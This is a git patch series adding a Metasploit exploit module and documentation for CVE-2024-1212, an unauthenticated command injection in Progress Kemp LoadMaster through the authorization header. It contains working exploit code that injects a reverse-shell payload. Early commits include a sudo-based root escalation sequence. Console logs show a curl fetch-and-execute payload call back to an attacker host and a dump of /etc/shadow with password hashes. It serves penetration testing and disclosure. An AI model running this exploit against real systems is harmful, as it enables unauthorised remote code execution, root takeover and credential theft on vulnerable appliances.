From e32d05eab8f3b75dc3a9796754f91b776df5bf48 Mon Sep 17 00:00:00 2001 From: DaveYesland Date: Tue, 19 Mar 2024 11:37:12 -0700 Subject: [PATCH 1/4] Add module and docs for CVE-2024-1212 --- ...ss_kemp_loadmaster_unauth_cmd_injection.md | 88 +++++++++++ ...ss_kemp_loadmaster_unauth_cmd_injection.rb | 137 ++++++++++++++++++ 2 files changed, 225 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.md create mode 100644 modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb diff --git a/documentation/modules/exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.md b/documentation/modules/exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.md new file mode 100644 index 000000000000..a8e568e9c1fc --- /dev/null +++ b/documentation/modules/exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.md @@ -0,0 +1,88 @@ +## Vulnerable Application +CVE-2024-1212: Progress Kemp LoadMaster Unauthenticated Command Injection + +For more details on the vulnerability: +https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/ + +https://support.kemptechnologies.com/hc/en-us/articles/23878931058445-LoadMaster-Security-Vulnerability-CVE-2024-1212 + +A trial VM which the exploit should work against out of the box can be downloaded from: +https://sso.kemptechnologies.com/register/kemp/vlm + +The AWS marketplace also has free trials which can be used. These require the "session management" to be enabled in order for the exploit to work. Since by default the admin WUI is behind basic auth. +https://aws.amazon.com/marketplace/pp/prodview-kgh3dsfk7qcnw + +## Verification Steps +With privesc: +1. Install the application +1. Start msfconsole +1. Do: `use exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection` +1. Do: `set RHOSTS ` +1. Do: `set RPORT ` +1. Do: `set LHOST ` +1. Do: `run` +1. You should get a root shell. + +Without privesc: +1. Install the application +1. Start msfconsole +1. Do: `use exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection` +1. Do: `set PRIVESC false` +1. Do: `set RHOSTS ` +1. Do: `set RPORT ` +1. Do: `set LHOST ` +1. Do: `run` +1. You should get a shell as the "bal" user. + +## Options +The only non-stanard option is PRIVESC. + +### PRIVESC + +This defaults to true. This enables or disables the use of an automatic privesc from the default "bal" user to root. + +## Scenarios + +### LoadMaster 7.2.59.0.22007 + +``` +msf6 > use exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection +[*] Using configured payload cmd/linux/https/x64/shell/reverse_tcp +msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > set RPORT 8443 +RPORT => 8443 +msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > set RHOSTS 18.207.251.125 +RHOSTS => 18.207.251.125 +msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > set LHOST ****** +LHOST => ****** +msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > exploit + +[*] Started reverse TCP handler on *****:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if 18.207.251.125:8443 is vulnerable... +[+] The target is vulnerable. +[*] Sending payload... +[*] Sending stage (38 bytes) to 18.207.251.125 +[*] Sending stage (38 bytes) to 18.207.251.125 +[*] Executing privilege escalation command... +[-] Detected a session initiated too close to the first session. Terminating it. +[*] 18.207.251.125 - Command shell session 2 closed. +[*] Executing privilege escalation command... +[*] Command shell session 2 opened (*****:4444 -> 18.207.251.125:12652) at 2024-03-18 18:34:50 +0000 + +[-] Invalid session identifier: 2 +msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > sessions -i 1 +[*] Starting interaction with 1... + +[*] Command shell session 1 opened (*****:4444 -> 18.207.251.125:12648) at 2024-03-18 18:35:10 +0000 +cat /.mnt/patch_name /etc/shadow +7.2.59.0.22007.RELEASE +root:*:11449:0:10000:::: +bin:*:8902:0:10000:::: +daemon:*:8902:0:10000:::: +nobody:*:0:0:10000:::: +sshd:*:0:0:10000:::: +bal:$6$9WGRyJ3L$2NojfaoGsP5y7xS/SzvDTfic4Q9VHcKUHWnFKv9GWraldWgKQUc/t8kNQFPh7axajQQLX1GU29K46yiwkd3v.0:11564:0:10000:::: +pwreset:vhQQ3AdHBais2:11564:0:10000:::: +hsync:*:11564:0:10000:::: +xroot:*:11449:1000:10000:::: +``` diff --git a/modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb b/modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb new file mode 100644 index 000000000000..807597604404 --- /dev/null +++ b/modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb @@ -0,0 +1,137 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Kemp LoadMaster Unauthenticated Command Injection', + 'Description' => %q{ + This module exploits an unauthenticated command injection vulnerability in + Progress Kemp LoadMaster in the authroization header. + }, + 'Author' => [ + 'Dave Yesland with Rhino Security Labs', + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2024-1212'], + ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/'], + ['URL', 'https://kemptechnologies.com/kemp-load-balancers'] + ], + 'DisclosureDate' => '2024-03-19', + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK], + 'Reliability' => [ REPEATABLE_SESSION ] + }, + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [['Automatic', {}]], + 'Privileged' => false, + 'DefaultOptions' => + { + 'PAYLOAD' => 'cmd/linux/https/x64/shell/reverse_tcp', + 'SSL' => true, + 'RPORT' => 443 + }, + 'Payload' => + { + 'BadChars' => "\x3a\x27" + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'The URI path to LoadMaster', '/']), + OptBool.new('PRIVESC', [true, 'Automatically try privesc to add sudo entry', true]) + ]) + + @first_session_timestamp = nil + end + + def exploit + uri = normalize_uri(target_uri.path, 'access', 'set') + + print_status("Sending payload...") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri, + 'vars_get' => + { + 'param' => 'enableapi', + 'value' => "1" + }, + 'authorization' => basic_auth("';#{payload.encoded};echo '", 'anything'), + 'verify' => false + }) + end + + def on_new_session(session) + # Kill the session if it was initiated too close to the first session + # This command injection tends to execute twice, so we want to kill + # the second session. Probably a better way to do this but I don't know it. + super + current_time = Time.now.to_i + if @first_session_timestamp.nil? + @first_session_timestamp = current_time + elsif current_time - @first_session_timestamp < 5 + print_error("Detected a session initiated too close to the first session. Terminating it.") + session.kill + end + + # Run privesc commands if PRIVESC is set to true + if datastore['PRIVESC'] + execute_privesc_command(session) + else + print_status('Privilege escalation skipped.') + end + end + + def execute_privesc_command(session) + print_status("Executing privilege escalation command...") + session.shell_command('sudo /bin/cp /bin/loadkeys /tmp/loadkeys') + session.shell_command('sudo /bin/cp /bin/bash /bin/loadkeys') + session.shell_command('sudo /bin/loadkeys -c /bin/bash') + session.shell_command('cp /tmp/loadkeys /bin/loadkeys') + end + + def check + print_status("Checking if #{peer} is vulnerable...") + + uri = normalize_uri(target_uri.path, 'access', 'set') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri, + 'vars_get' => { + 'param' => 'enableapi', + 'value' => "1" + }, + 'authorization' => basic_auth("'", 'anything'), + 'verify' => false + }) + + # No response from server + unless res + return CheckCode::Unknown + end + + # Check for specific error pattern in headers or body to confirm vulnerability + if res.headers.to_s.include?("unexpected EOF while looking for matching") || res.body.include?("unexpected EOF while looking for matching") + return CheckCode::Vulnerable + else + return CheckCode::Safe + end + end + + end From 1a8233dfe70553ceafb55a5b0098edf63f035f3a Mon Sep 17 00:00:00 2001 From: DaveYesland Date: Tue, 19 Mar 2024 14:52:28 -0700 Subject: [PATCH 2/4] msftidy cleanup --- ...ss_kemp_loadmaster_unauth_cmd_injection.rb | 240 +++++++++--------- 1 file changed, 119 insertions(+), 121 deletions(-) diff --git a/modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb b/modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb index 807597604404..18d176ca7f94 100644 --- a/modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb +++ b/modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb @@ -4,134 +4,132 @@ ## class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::Remote::HttpClient - prepend Msf::Exploit::Remote::AutoCheck - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'Kemp LoadMaster Unauthenticated Command Injection', - 'Description' => %q{ - This module exploits an unauthenticated command injection vulnerability in - Progress Kemp LoadMaster in the authroization header. - }, - 'Author' => [ - 'Dave Yesland with Rhino Security Labs', - ], - 'License' => MSF_LICENSE, - 'References' => [ - ['CVE', '2024-1212'], - ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/'], - ['URL', 'https://kemptechnologies.com/kemp-load-balancers'] - ], - 'DisclosureDate' => '2024-03-19', - 'Notes' => { - 'Stability' => [ CRASH_SAFE ], - 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK], - 'Reliability' => [ REPEATABLE_SESSION ] - }, - 'Platform' => ['unix', 'linux'], - 'Arch' => [ARCH_X86, ARCH_X64], - 'Targets' => [['Automatic', {}]], - 'Privileged' => false, - 'DefaultOptions' => - { - 'PAYLOAD' => 'cmd/linux/https/x64/shell/reverse_tcp', - 'SSL' => true, - 'RPORT' => 443 - }, - 'Payload' => - { - 'BadChars' => "\x3a\x27" - } - ) + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Kemp LoadMaster Unauthenticated Command Injection', + 'Description' => %q{ + This module exploits an unauthenticated command injection vulnerability in + Progress Kemp LoadMaster in the authroization header. + }, + 'Author' => [ + 'Dave Yesland with Rhino Security Labs', + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2024-1212'], + ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/'], + ['URL', 'https://kemptechnologies.com/kemp-load-balancers'] + ], + 'DisclosureDate' => '2024-03-19', + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK], + 'Reliability' => [ REPEATABLE_SESSION ] + }, + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [['Automatic', {}]], + 'Privileged' => false, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/linux/https/x64/shell/reverse_tcp', + 'SSL' => true, + 'RPORT' => 443 + }, + 'Payload' => { + 'BadChars' => "\x3a\x27" + } ) + ) - register_options([ - OptString.new('TARGETURI', [true, 'The URI path to LoadMaster', '/']), - OptBool.new('PRIVESC', [true, 'Automatically try privesc to add sudo entry', true]) - ]) + register_options([ + OptString.new('TARGETURI', [true, 'The URI path to LoadMaster', '/']), + OptBool.new('PRIVESC', [true, 'Automatically try privesc to add sudo entry', true]) + ]) - @first_session_timestamp = nil - end + @first_session_timestamp = nil + end - def exploit - uri = normalize_uri(target_uri.path, 'access', 'set') - - print_status("Sending payload...") - - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => uri, - 'vars_get' => - { - 'param' => 'enableapi', - 'value' => "1" - }, - 'authorization' => basic_auth("';#{payload.encoded};echo '", 'anything'), - 'verify' => false - }) + def exploit + uri = normalize_uri(target_uri.path, 'access', 'set') + + print_status('Sending payload...') + + send_request_cgi({ + 'method' => 'GET', + 'uri' => uri, + 'vars_get' => + { + 'param' => 'enableapi', + 'value' => '1' + }, + 'authorization' => basic_auth("';#{payload.encoded};echo '", 'anything'), + 'verify' => false + }) + end + + def on_new_session(session) + # Kill the session if it was initiated too close to the first session + # This command injection tends to execute twice, so we want to kill + # the second session. Probably a better way to do this but I don't know it. + super + current_time = Time.now.to_i + if @first_session_timestamp.nil? + @first_session_timestamp = current_time + elsif current_time - @first_session_timestamp < 5 + print_error('Detected a session initiated too close to the first session. Terminating it.') + session.kill end - def on_new_session(session) - # Kill the session if it was initiated too close to the first session - # This command injection tends to execute twice, so we want to kill - # the second session. Probably a better way to do this but I don't know it. - super - current_time = Time.now.to_i - if @first_session_timestamp.nil? - @first_session_timestamp = current_time - elsif current_time - @first_session_timestamp < 5 - print_error("Detected a session initiated too close to the first session. Terminating it.") - session.kill - end - - # Run privesc commands if PRIVESC is set to true - if datastore['PRIVESC'] - execute_privesc_command(session) - else - print_status('Privilege escalation skipped.') - end + # Run privesc commands if PRIVESC is set to true + if datastore['PRIVESC'] + execute_privesc_command(session) + else + print_status('Privilege escalation skipped.') end + end - def execute_privesc_command(session) - print_status("Executing privilege escalation command...") - session.shell_command('sudo /bin/cp /bin/loadkeys /tmp/loadkeys') - session.shell_command('sudo /bin/cp /bin/bash /bin/loadkeys') - session.shell_command('sudo /bin/loadkeys -c /bin/bash') - session.shell_command('cp /tmp/loadkeys /bin/loadkeys') - end - - def check - print_status("Checking if #{peer} is vulnerable...") - - uri = normalize_uri(target_uri.path, 'access', 'set') - - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => uri, - 'vars_get' => { - 'param' => 'enableapi', - 'value' => "1" - }, - 'authorization' => basic_auth("'", 'anything'), - 'verify' => false - }) - - # No response from server - unless res - return CheckCode::Unknown - end - - # Check for specific error pattern in headers or body to confirm vulnerability - if res.headers.to_s.include?("unexpected EOF while looking for matching") || res.body.include?("unexpected EOF while looking for matching") - return CheckCode::Vulnerable - else - return CheckCode::Safe - end - end + def execute_privesc_command(session) + print_status('Executing privilege escalation command...') + session.shell_command('sudo /bin/cp /bin/loadkeys /tmp/loadkeys') + session.shell_command('sudo /bin/cp /bin/bash /bin/loadkeys') + session.shell_command('sudo /bin/loadkeys -c /bin/bash') + session.shell_command('cp /tmp/loadkeys /bin/loadkeys') + end + + def check + print_status("Checking if #{peer} is vulnerable...") + + uri = normalize_uri(target_uri.path, 'access', 'set') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri, + 'vars_get' => { + 'param' => 'enableapi', + 'value' => '1' + }, + 'authorization' => basic_auth("'", 'anything'), + 'verify' => false + }) + + # No response from server + unless res + return CheckCode::Unknown + end + # Check for specific error pattern in headers or body to confirm vulnerability + if res.headers.to_s.include?('unexpected EOF while looking for matching') || res.body.include?('unexpected EOF while looking for matching') + return CheckCode::Vulnerable + else + return CheckCode::Safe + end end + +end From 409f0e45a69fd73bcbafad6089249d976bcb14c1 Mon Sep 17 00:00:00 2001 From: bwatters Date: Mon, 15 Apr 2024 15:44:22 -0500 Subject: [PATCH 3/4] Remove Priv Esc to add it to another module and update it to only run once --- ...ss_kemp_loadmaster_unauth_cmd_injection.md | 119 ++++++++++-------- ...ss_kemp_loadmaster_unauth_cmd_injection.rb | 84 ++++++------- 2 files changed, 104 insertions(+), 99 deletions(-) diff --git a/documentation/modules/exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.md b/documentation/modules/exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.md index a8e568e9c1fc..e0c44e45f97a 100644 --- a/documentation/modules/exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.md +++ b/documentation/modules/exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.md @@ -13,7 +13,6 @@ The AWS marketplace also has free trials which can be used. These require the "s https://aws.amazon.com/marketplace/pp/prodview-kgh3dsfk7qcnw ## Verification Steps -With privesc: 1. Install the application 1. Start msfconsole 1. Do: `use exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection` @@ -21,68 +20,78 @@ With privesc: 1. Do: `set RPORT ` 1. Do: `set LHOST ` 1. Do: `run` -1. You should get a root shell. +1. You should get a shell as the `bal` user. +1. (Optional) use the module `exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024` to gain root privileges. +1. (Optional) use the script `run_progress_kemp_loadmaster_sudo_priv_esc_2024.rc` to automatically run the above module. -Without privesc: -1. Install the application -1. Start msfconsole -1. Do: `use exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection` -1. Do: `set PRIVESC false` -1. Do: `set RHOSTS ` -1. Do: `set RPORT ` -1. Do: `set LHOST ` -1. Do: `run` -1. You should get a shell as the "bal" user. +## Scenarios -## Options -The only non-stanard option is PRIVESC. +### LoadMaster 7.2.59.0.22007 -### PRIVESC +``` msf +msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > show options -This defaults to true. This enables or disables the use of an automatic privesc from the default "bal" user to root. +Module options (exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection): -## Scenarios + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 10.5.134.141 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-met + asploit.html + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The URI path to LoadMaster + VHOST no HTTP server virtual host -### LoadMaster 7.2.59.0.22007 -``` -msf6 > use exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection -[*] Using configured payload cmd/linux/https/x64/shell/reverse_tcp -msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > set RPORT 8443 -RPORT => 8443 -msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > set RHOSTS 18.207.251.125 -RHOSTS => 18.207.251.125 -msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > set LHOST ****** -LHOST => ****** -msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > exploit - -[*] Started reverse TCP handler on *****:4444 +Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME GyzwtIbxq no Name to use on remote system when storing payload; cannot contain spaces or slash + es + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR /tmp/ yes Remote writable dir to store payload; cannot contain spaces + LHOST 10.5.135.201 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > run + +[*] Command to run on remote host: curl -so /tmp/LlipoMVy http://10.5.135.201:8080/RByzlSnTzclKDpvXskXIrg; chmod +x /tmp/LlipoMVy; /tmp/LlipoMVy & +[*] Fetch handler listening on 10.5.135.201:8080 +[*] HTTP server started +[*] Adding resource /RByzlSnTzclKDpvXskXIrg +[*] Started reverse TCP handler on 10.5.135.201:4444 [*] Running automatic check ("set AutoCheck false" to disable) -[*] Checking if 18.207.251.125:8443 is vulnerable... +[*] Checking if 10.5.134.141:443 is vulnerable... [+] The target is vulnerable. [*] Sending payload... -[*] Sending stage (38 bytes) to 18.207.251.125 -[*] Sending stage (38 bytes) to 18.207.251.125 -[*] Executing privilege escalation command... -[-] Detected a session initiated too close to the first session. Terminating it. -[*] 18.207.251.125 - Command shell session 2 closed. -[*] Executing privilege escalation command... -[*] Command shell session 2 opened (*****:4444 -> 18.207.251.125:12652) at 2024-03-18 18:34:50 +0000 - -[-] Invalid session identifier: 2 -msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > sessions -i 1 -[*] Starting interaction with 1... - -[*] Command shell session 1 opened (*****:4444 -> 18.207.251.125:12648) at 2024-03-18 18:35:10 +0000 -cat /.mnt/patch_name /etc/shadow -7.2.59.0.22007.RELEASE -root:*:11449:0:10000:::: -bin:*:8902:0:10000:::: -daemon:*:8902:0:10000:::: -nobody:*:0:0:10000:::: -sshd:*:0:0:10000:::: -bal:$6$9WGRyJ3L$2NojfaoGsP5y7xS/SzvDTfic4Q9VHcKUHWnFKv9GWraldWgKQUc/t8kNQFPh7axajQQLX1GU29K46yiwkd3v.0:11564:0:10000:::: -pwreset:vhQQ3AdHBais2:11564:0:10000:::: -hsync:*:11564:0:10000:::: -xroot:*:11449:1000:10000:::: +[*] Client 10.5.134.141 requested /RByzlSnTzclKDpvXskXIrg +[*] Sending payload to 10.5.134.141 (curl/7.77.0) +[+] Now background this session with "bg" and then run "resource run_progress_kemp_loadmaster_sudo_priv_esc_2024.rc" to get a root shell +[*] Meterpreter session 1 opened (10.5.135.201:4444 -> 10.5.134.141:29264) at 2024-04-12 17:08:57 -0500 + +meterpreter > sysinfo +Computer : 10.5.134.141 +OS : SuSE 7.2 (Linux 4.14.137) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: bal ``` diff --git a/modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb b/modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb index 18d176ca7f94..cf195f415222 100644 --- a/modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb +++ b/modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb @@ -8,6 +8,11 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck + def flag_file + return @flag_file unless @flag_file.nil? + + @flag_file = '/tmp/' + Rex::Text.rand_text_alpha(5) + end def initialize(info = {}) super( @@ -16,7 +21,7 @@ def initialize(info = {}) 'Name' => 'Kemp LoadMaster Unauthenticated Command Injection', 'Description' => %q{ This module exploits an unauthenticated command injection vulnerability in - Progress Kemp LoadMaster in the authroization header. + Progress Kemp LoadMaster in the authorization header. }, 'Author' => [ 'Dave Yesland with Rhino Security Labs', @@ -34,73 +39,64 @@ def initialize(info = {}) 'Reliability' => [ REPEATABLE_SESSION ] }, 'Platform' => ['unix', 'linux'], - 'Arch' => [ARCH_X86, ARCH_X64], - 'Targets' => [['Automatic', {}]], + 'Arch' => [ARCH_CMD], 'Privileged' => false, + 'Targets' => [ + [ + 'Automatic', # Add logic to run the payload only once + { + 'Payload' => { + 'Prepend' => "[ -f #{flag_file} ] || ( touch #{flag_file}; (sleep 60; rm #{flag_file})& ", + 'Append' => ')', + 'BadChars' => "\x3a\x27" + } + } + ], + [ + 'Do_Not_Prepend_Runonce_Code', # This will likely result in 2-3 sessions + { + 'Payload' => { + 'BadChars' => "\x3a\x27" + } + } + ] + ], + 'Default_target' => 0, 'DefaultOptions' => { - 'PAYLOAD' => 'cmd/linux/https/x64/shell/reverse_tcp', + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', + 'FETCH_WRITABLE_DIR' => '/tmp/', 'SSL' => true, 'RPORT' => 443 - }, - 'Payload' => { - 'BadChars' => "\x3a\x27" } ) ) register_options([ - OptString.new('TARGETURI', [true, 'The URI path to LoadMaster', '/']), - OptBool.new('PRIVESC', [true, 'Automatically try privesc to add sudo entry', true]) + OptString.new('TARGETURI', [true, 'The URI path to LoadMaster', '/']) ]) - - @first_session_timestamp = nil end def exploit uri = normalize_uri(target_uri.path, 'access', 'set') - print_status('Sending payload...') + vprint_status('Sending payload...') send_request_cgi({ 'method' => 'GET', 'uri' => uri, 'vars_get' => - { - 'param' => 'enableapi', - 'value' => '1' - }, - 'authorization' => basic_auth("';#{payload.encoded};echo '", 'anything'), + { + 'param' => 'enableapi', + 'value' => '1' + }, + 'authorization' => basic_auth("';#{payload.encoded};echo '", Rex::Text.rand_text_alpha(rand(8..15))), 'verify' => false }) end - def on_new_session(session) - # Kill the session if it was initiated too close to the first session - # This command injection tends to execute twice, so we want to kill - # the second session. Probably a better way to do this but I don't know it. + def on_new_session(client) super - current_time = Time.now.to_i - if @first_session_timestamp.nil? - @first_session_timestamp = current_time - elsif current_time - @first_session_timestamp < 5 - print_error('Detected a session initiated too close to the first session. Terminating it.') - session.kill - end - - # Run privesc commands if PRIVESC is set to true - if datastore['PRIVESC'] - execute_privesc_command(session) - else - print_status('Privilege escalation skipped.') - end - end - - def execute_privesc_command(session) - print_status('Executing privilege escalation command...') - session.shell_command('sudo /bin/cp /bin/loadkeys /tmp/loadkeys') - session.shell_command('sudo /bin/cp /bin/bash /bin/loadkeys') - session.shell_command('sudo /bin/loadkeys -c /bin/bash') - session.shell_command('cp /tmp/loadkeys /bin/loadkeys') + print_good('Now background this session with "bg" and then run "resource run_progress_kemp_loadmaster_sudo_priv_esc_2024.rc" to get a root shell') end def check @@ -115,7 +111,7 @@ def check 'param' => 'enableapi', 'value' => '1' }, - 'authorization' => basic_auth("'", 'anything'), + 'authorization' => basic_auth("'", Rex::Text.rand_text_alpha(rand(8..15))), 'verify' => false }) From 02c31159abdcb36f61faf87a0ba4ac2bf71f270f Mon Sep 17 00:00:00 2001 From: bwatters Date: Fri, 26 Apr 2024 17:36:50 -0500 Subject: [PATCH 4/4] Add vulnerable versions and fix indention --- .../progress_kemp_loadmaster_unauth_cmd_injection.rb | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb b/modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb index cf195f415222..3a70cdfaee1c 100644 --- a/modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb +++ b/modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb @@ -21,7 +21,9 @@ def initialize(info = {}) 'Name' => 'Kemp LoadMaster Unauthenticated Command Injection', 'Description' => %q{ This module exploits an unauthenticated command injection vulnerability in - Progress Kemp LoadMaster in the authorization header. + Progress Kemp LoadMaster in the authorization header after vversion 7.2.48.1. + The following versions are patched: 7.2.59.2 (GA), 7.2.54.8 (LTSF) and + 7.2.48.10 (LTS). }, 'Author' => [ 'Dave Yesland with Rhino Security Labs', @@ -85,10 +87,10 @@ def exploit 'method' => 'GET', 'uri' => uri, 'vars_get' => - { - 'param' => 'enableapi', - 'value' => '1' - }, + { + 'param' => 'enableapi', + 'value' => '1' + }, 'authorization' => basic_auth("';#{payload.encoded};echo '", Rex::Text.rand_text_alpha(rand(8..15))), 'verify' => false })